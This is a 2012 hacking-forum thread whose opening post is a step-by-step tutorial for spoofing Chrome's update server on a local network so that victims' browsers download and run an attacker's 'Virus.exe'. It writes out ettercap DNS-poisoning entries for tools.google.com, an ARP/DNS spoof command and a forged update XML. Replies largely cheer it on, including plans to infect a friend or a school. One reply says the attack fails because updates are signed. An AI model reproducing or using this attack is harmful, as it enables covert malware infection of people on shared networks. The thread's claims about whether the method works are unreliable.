

Forum:[Hack Forums](#)

Thread: [\[TUT\] Instantly infect anyone on your network running Chrome](#)

KILLM3 - October 24, 2012, 11:37 am

WARNING: This is not a spoonfed tutorial. If you are looking for an easy, automated way to do this, look elsewhere.

Suggested requirements:

Apache and ettercap OR Backtrack

Givens:

IP 111.111.111.111 is YOU

IP 222.222.222.22X are the victims

Let's begin:

Google Chrome has a great little auto-update feature that runs every 15 minutes or so and downloads and runs an update [EXE]. By tricking the victim's computer into thinking, you are the update server, you can make anyone running GC on your network run your EXE silently.

Let's start off with the basic background knowledge.

We're going to need to DNS poison the network and tell them that you are the update server.

(Please note, commands are done as if running backtrack)

Code find etter.dns Copy the path to etter.dns and then

Code nano /path/to/etter.dns

You will be presented with the edittable DNS file.

You want to add an entry of

Code "tools.google.com A 111.111.111.111

*tools.google.com A 111.111.111.111

www.tools.google.com A 111.111.111.111

CTRL + X and save that shit.

Now, lets set up our server to server Virus.exe:

Direct all requests to your server to the following XML document we will make.

(For more info on the XML format, see [Google's Omaha Server Protocol v3](#))

First we need to gather our info.

Are we hitting 32-bit chrome, or 64-bit?

For this example I'll be doing 64-bit, but you can easily grab the ID for 32-bit with Wireshark.

64-bit means that

appid="4DC8B4CA-1DBA-483E-B5FA-D3C12E15B62D"

Now, we have our Virus.exe

Take the Sha-1(base-64) hash of the Virus.exe

EX:VXriGUVI0TNqfLIU02vBel4Q3Zo=

Then we craft our XML to serve:

Code `<?xml version="1.0" encoding="UTF-8"?>`

`<response protocol="3.0" server="prod">`

`<daystart elapsed_seconds="56508"/>`

`<app appid="{4DC8B4CA-1DBA-483E-B5FA-D3C12E15B62D}" status="ok">`

`<updatecheck status="ok">`

`<urls>`

`<url codebase="111.111.111.111"/>`

`</urls>`

`<packages>`

`<package hash="VXriGUVI0TNqfLIU02vBel4Q3Zo=" name="Virus.exe" required="true" size="2983"/>`

`</packages>`

`<actions>`

`<action arguments="" event="install" run="Virus.exe"/>`

`</actions>`

`</manifest>`

`</updatecheck>`

`<ping status="ok"/>`

`</app>`

`</response>` Host the XML in the root of your server along with Virus.exe

Then open ettercap and

Code `ettercap -T -q -i wlan0 -P dns_spoof -M arp // //`

And now anytime GC goes to update, it will grab your virus instead of the actual update.

zetza - October 24, 2012, 11:41 am

Thanks for posting this, I don't need it, but I some people who might feel this handy :)

Thanks!

Anag0n - October 24, 2012, 11:50 am

I dont understand where to put the command find etter.dns.. You write that it's done as using backtrack, but what do you exactly mean? Is it like writing it in the terminal or ? Else a really nice tutorial and a good discovery :)!

Fatty™ - October 24, 2012, 12:40 pm

Great tutorial man, Will try this tonight. Cheers.

BanTeR - October 24, 2012, 1:00 pm

Nice tutorial bro I dont have backtrack but looks legit

Sought - October 24, 2012, 1:24 pm

This is a very well spoken article thanks it could come in useful.

Cletus - October 24, 2012, 1:30 pm

Great thread bro, very useful.

Definitely getting a 5 star.

Crenellations - October 24, 2012, 1:53 pm

Will this work with an ethernet connection to the network?

I guess I am just unsure...are we changing a local file on each computer in the network or does the

router hold this file somehow..?

badwayz - October 24, 2012, 9:47 pm

Nice, shame most use IE, and those who do are easy to manipulate lol

thanks

??O??liver - October 25, 2012, 6:07 am

Wow, this is a good find, thanks for sharing ;)

Whiteh4t - October 25, 2012, 6:11 am

Nice tut. but you could use cain if your on windows and just host a java drive by.

n00b.ca - October 25, 2012, 1:21 pm

Another great tutorial, thanks! Looking forward to more.

aries93 - October 25, 2012, 1:45 pm

thanks for this maybe now i can get my friend ratted as he always plays pranks on me and i cant get onto his machine :D

Unacknowledged - October 25, 2012, 6:50 pm

Very nice tutorial, bookmarking it for future reference.

EmperorDAZ - October 26, 2012, 2:56 am

Very nice tutorial indeed. Thanks for sharing, bookmarking it right now.

The-Madness - October 26, 2012, 3:02 am

Nice Man ! good sharing !! vouch for this !!

Davidd - October 26, 2012, 4:02 am

wow, very nice tutorial, thanks for sharing!

nitro1989 - October 27, 2012, 1:08 am

nice tut..what is the name of the xml file which we are going to host?

Thanks

? McMana ? - October 28, 2012, 4:08 pm

Thanks a lot dude :) I'll try this :D

Atharva - October 28, 2012, 10:30 pm

Thanks for posting this great tutorial.

Keep up the good work !

NotReal5tuff - December 26, 2012, 11:13 am

Honestly this is incredibly useful; very nice!

JackJagger54 - December 26, 2012, 4:02 pm

Holy shit nice guide man !

Props to you.

Underachiever - December 26, 2012, 5:38 pm

Tutorials upon tutorials, and this has been the most helpful. Trying this out in a moment.

KILLM3 - December 27, 2012, 9:47 pm

(Dec 26, 2012 06:38 PM)Underachiever Wrote: [\[CITE\]](#) Tutorials upon tutorials, and this has been the most helpful. Trying this out in a moment.

There are a few of the 'true' hackers left on these forums. Most of us just lurk, but we like to drop a gift to the members every once in a while haha.

ImSecure - December 28, 2012, 4:00 am

Thanks for this HQ tutorial. It will come in handy sometime, maybe .

DukeRed - December 28, 2012, 9:40 am

This works. Great tutorial dear.

BTw the intro of your thread was good. Haha:D

PongViking - December 28, 2012, 10:01 am

Great tutorial man, Will try this tonight. Cheers.

SIM-111414 - December 28, 2012, 10:34 am

Thanks for an awesome tut.

I never thought DNS Poisoning ever lead to automatically download and execution of viruses with updates.

HQ tut mate.

Ratchet321 - December 28, 2012, 3:42 pm

THIS TUTORIAL IS BULLSHIT!

THE MESSAGES FROM THE UPDATE SERVER ARE SIGNED FROM GOOGLE.

IT IS NOT POSSIBLE TO FAKE AN UPDATE SERVER. CHROME WILL SIMPLY IGNORE IT, BECAUSE ITS NOT SIGNED!

'Snorlax - December 28, 2012, 5:01 pm

WOW! I have to check that out tomorrow!

That's clever!

stratbasher - December 28, 2012, 5:50 pm

Hot DAMN that's kinky!

But seriously, how did you even find this? This is quite the discovery.... I always hated chrome anyway.

St3b - December 28, 2012, 7:18 pm

wow I didnt even know you could do this with ettercap, I've only ever used it for arp spoofing... i'm thinking of getting a new computer and making it a permanent backtrack computer. Just for hacking shit ;)

ryan1233 - December 28, 2012, 9:14 pm

thanks for posting this my friend. been wanting something like this.

HackersUnion - December 28, 2012, 10:24 pm

Honestly this is incredibly useful; very nice!

-Max - December 28, 2012, 10:27 pm

See, this is hacking, very clever idea. I am guessing you didn't come up with this yourself right?

austerpaul - December 29, 2012, 4:29 am

ouff... this mindfucks a newbie hahaha! I will read this again and again! Thank you!

n1v4 - December 29, 2012, 5:31 am

Thanks Bro It's good To know this gr8 thing thanks

KILLM3 - December 29, 2012, 11:29 pm

(Dec 28, 2012 11:27 PM)Max00355 Wrote: [\[CITE\]](#) See, this is hacking, very clever idea. I am guessing you didn't come up with this yourself right?

This is my exploit. I thought about it, created it, and wrote this guide.

Europe - December 30, 2012, 2:22 am

This is pretty legit man, nice release

dimperd - December 30, 2012, 8:10 am

thanks a lot!!

??????

Love SOSA - December 30, 2012, 12:01 pm

Lol, thanks for this method! I might use it later on!

nicodekram - December 30, 2012, 12:42 pm

cool! seems pretty simple..

just I need my virus.exe to make it works :(

Cylon58 - December 30, 2012, 5:07 pm

Good tutorial. This is something I've never seen before, but it's a brilliant idea. Good job OP. Thanks for the share!

juragan bokep - December 30, 2012, 5:32 pm

I same like inject web ? correct ?

thanks btw

HbananF - December 30, 2012, 5:45 pm

Is this method still working? Could you infect everyone on your school with this? rofl, good find OP.

KILLM3 - April 4, 2013, 8:49 pm

(Dec 30, 2012 06:45 PM)HbananF Wrote: [\[CITE\]](#) Is this method still working? Could you infect everyone on your school with this? rofl, good find OP.

Method is still working. I wouldn't suggest doing it at a school though. That's just being reckless without a cause.